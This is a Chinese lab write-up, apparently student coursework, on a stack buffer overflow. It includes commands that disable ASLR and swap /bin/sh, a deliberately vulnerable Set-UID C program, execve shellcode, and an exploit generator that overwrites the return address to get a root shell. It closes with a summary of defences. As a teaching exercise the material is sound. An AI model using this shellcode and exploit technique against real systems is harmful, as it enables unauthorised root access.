缓冲区溢出漏洞实验

缓冲区溢出简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

原理详解

利用缓冲区溢出进行攻击的原理就是通过修改内存区域,把一段恶意代码存储到一个buffer中,并且使这个buffer被溢出,以便当前进程被非法利用(恶意代码执行)。

随便往缓冲区中填东西造成它溢出一般只会得到“分段错误”(Segmentation fault),我想这个错误应该很多编程的人都遇到过。但是如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变程序的正常流程。



上图是程序在内存中的映射。

程序中函数调用堆栈就是溢出漏洞的主要途径。一个函数执行完毕,要返回时堆栈指针ESP会指向保存原来EIP的地方,而指令指针EIP指向RET指令,所以正常情况下,RET执行后,就可以把原来的EIP恢复,从而回到中断前的流程。但是,保存的EIP如果被覆盖成一个JMP指令的地址,这样,执行POP EIP后,EIP会被改成JMP指令的地址,即开始执行ShellCode中的指令。

实验环境

实验楼环境(Ubuntu linux 64位)。为了方便观察汇编语句,需要安装一些用于编译32位C程序的东西。

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

实验步骤

1.初始化设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space = 0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。具体操作如下:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

2.ShellCode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

shellcode当然不是上面的c程序,因为攻击代码必须是机器级指令,所以选择其汇编版本作为本次实验的shellcode。

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.漏洞程序

把以下代码保存为“stac.c”文件,保存到/tmp目录下。

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[12]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return 1;
} int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

上面的代码很简单,读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

编译该程序,并设置SET-UID。命令如下:

sudo
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c // -fno-stack-protector参数的含义是关闭栈保护机制;-z execstack 参数的意思是用于允许执行栈
chmod u+s stack
exit

4.攻击程序

我们的目的是攻击上面的漏洞程序,并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件,保存到/tmp目录。

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
; void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址。因为发生溢出后这个位置刚好覆盖返回地址。

strcpy(buffer+100,shellcode)的意思是shellcode保存在buffer+100的位置。现在我们得去找到buffer在内存中的地址:

gdb stack
disass main





由此计算shellcode的地址:

0xffffcfc0+100(十进制) = 0xffffcfc0+0x64=0xffffd024

修改exploit.c后编译:



实验结果

先运行攻击程序exploit,再运行漏洞程序stack:

总结

通过分析漏洞,也思考了一些漏洞攻击的防范问题。整个防范措施大概有源码级保护方法、运行期保护方法、阻止攻击代码执行、加强系统保护等几种。对于源码保护,可以提高警惕,在编写程序时对于涉及缓冲区的部分进行严格的边界检查,防止溢出。也可以利用漏洞扫描工具对源码中可能存在缓冲区溢出漏洞的代码部分分析,寻找bug并解决。运行期保护主要研究如何在程序运行的过程中发现或阻止缓冲区溢出攻击。比如数组边界检查,检查数组实际长度是否超过了分配的长度,如果超过,立即进行相应的处理。阻止攻击代码执行,可以设定堆栈数据段不可执行,这样就可以避免被攻击。加强系统保护主要是保护系统信息、关闭不需要的服务、最小权限原则、使用系统的堆栈补丁、检查系统漏洞并及时为软件打上安全补丁等。

20179209《Linux内核原理与分析》第十二周作的更多相关文章

  1. 2018-2019-1 20189221 《Linux内核原理与分析》第八周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第八周作业 实验七 编译链接过程 gcc –e –o hello.cpp hello.c / gcc -x cpp-o ...

  2. 2018-2019-1 20189221 《Linux内核原理与分析》第七周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第七周作业 实验六 分析Linux内核创建一个新进程的过程 代码分析 task_struct: struct task ...

  3. 2018-2019-1 20189221 《Linux内核原理与分析》第六周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第六周作业 实验五 实验过程 将Fork函数移植到Linux的MenuOS fork()函数通过系统调用创建一个与原来 ...

  4. 2018-2019-1 20189221《Linux内核原理与分析》第五周作业

    2018-2019-1 20189221<Linux内核原理与分析>第五周作业 实验四 实验过程 当用户态进程调用一个系统调用时,cpu切换到内核态并开始执行一个内核函数. 在Linux中 ...

  5. 2018-2019-1 20189221《Linux内核原理与分析》第三周作业

    2018-2019-1 20189221<Linux内核原理与分析>第三周作业 实验二 完成一个简单的时间片轮转多道程序内核代码 实验过程 在实验楼中编译内核 编写mymain.c函数和m ...

  6. 2019-2020-1 20199329《Linux内核原理与分析》第十三周作业

    <Linux内核原理与分析>第十三周作业 一.本周内容概述 通过重现缓冲区溢出攻击来理解漏洞 二.本周学习内容 1.实验简介 注意:实验中命令在 xfce 终端中输入,前面有 $ 的内容为 ...

  7. 2019-2020-1 20199329《Linux内核原理与分析》第十一周作业

    <Linux内核原理与分析>第十一周作业 一.本周内容概述: 学习linux安全防护方面的知识 完成实验楼上的<ShellShock 攻击实验> 二.本周学习内容: 1.学习& ...

  8. 2019-2020-1 20199329《Linux内核原理与分析》第八周作业

    <Linux内核原理与分析>第八周作业 一.本周内容概述: 理解编译链接的过程和ELF可执行文件格式 编程练习动态链接库的两种使用方式 使用gdb跟踪分析一个execve系统调用内核处理函 ...

  9. 2019-2020-1 20199329《Linux内核原理与分析》第七周作业

    <Linux内核原理与分析>第七周作业 一.本周内容概述: 对Linux系统如何创建一个新进程进行追踪 分析Linux内核创建一个新进程的过程 二.本周学习内容: 1.学习进程的描述 操作 ...

  10. 2019-2020-1 20199329《Linux内核原理与分析》第六周作业

    <Linux内核原理与分析>第六周作业 一.本周内容概述: 学习系统调用的相关理论知识,并使用库函数API和C代码中嵌入汇编代码两种方式使用getpid()系统调用 学习系统调用syste ...

随机推荐

  1. How to dynamically load directive into page

    https://stackoverflow.com/questions/23556398/how-to-dynamically-load-directive-into-page I have an h ...

  2. 查看文章 mysql:表注释和字段注释

    查看文章 mysql:表注释和字段注释 学习了:https://blog.csdn.net/chamtianjiao/article/details/6698690 2 修改表的注释 alter ta ...

  3. WinSock基本知识

    这里不打算系统地介绍socket或者WinSock的知识.首先介绍WinSock API函数,讲解阻塞/非阻塞的概念:然后介绍socket的使用. WinSock API Socket接口是网络编程( ...

  4. vue笔记一

    一.Vue基本知识点 1.声明式渲染 <div id="app">{{ msg }}</div> <script> var app = new ...

  5. Laravel之Elixir

    一.Elixir安装和设置 1.安装node.js 2.安装Gulp 作为全局NPM 包 npm install --global gulp 3.最后,在新安装的Laravel 根目录下,你会发现有一 ...

  6. Linux非阻塞IO(二)网络编程中非阻塞IO与IO复用模型结合

    上文描述了最简易的非阻塞IO,采用的是轮询的方式,这节我们使用IO复用模型.   阻塞IO   过去我们使用IO复用与阻塞IO结合的时候,IO复用模型起到的作用是并发监听多个fd. 以简单的回射服务器 ...

  7. React Native 项目实战 -- DoubanProject

    引言:本文是我研究react-native时写的一个简单的demo,代码里有详细的注释,好废话不多说,直接上代码. 1.项目目录 2.index.android.js /** * index.andr ...

  8. 使用Gulp定制前端开发环境

    1.安装package.json中依赖了的组件 npm install 2.来到本地路径,创建工程配置文件 npm init 3.本地安装gulp npm install gulp --save-de ...

  9. VBA小功能集合-判断列内是否有重复值

    1.判断列内是否有重复值: Dim arrT As Range Dim rng As Range Set arrT = Range("A:A")'判读A列单元格 For Each ...

  10. Linux系统字符集乱码问题

    假设你在安装Linux的过程中就选择了中文.可能能够省去步骤1.2.反之.假设你先安装了英文环境,而后希望它支持中文,则能够1.2步 1.首先在linux中安装中文包安装中文简体包rpm -ivh k ...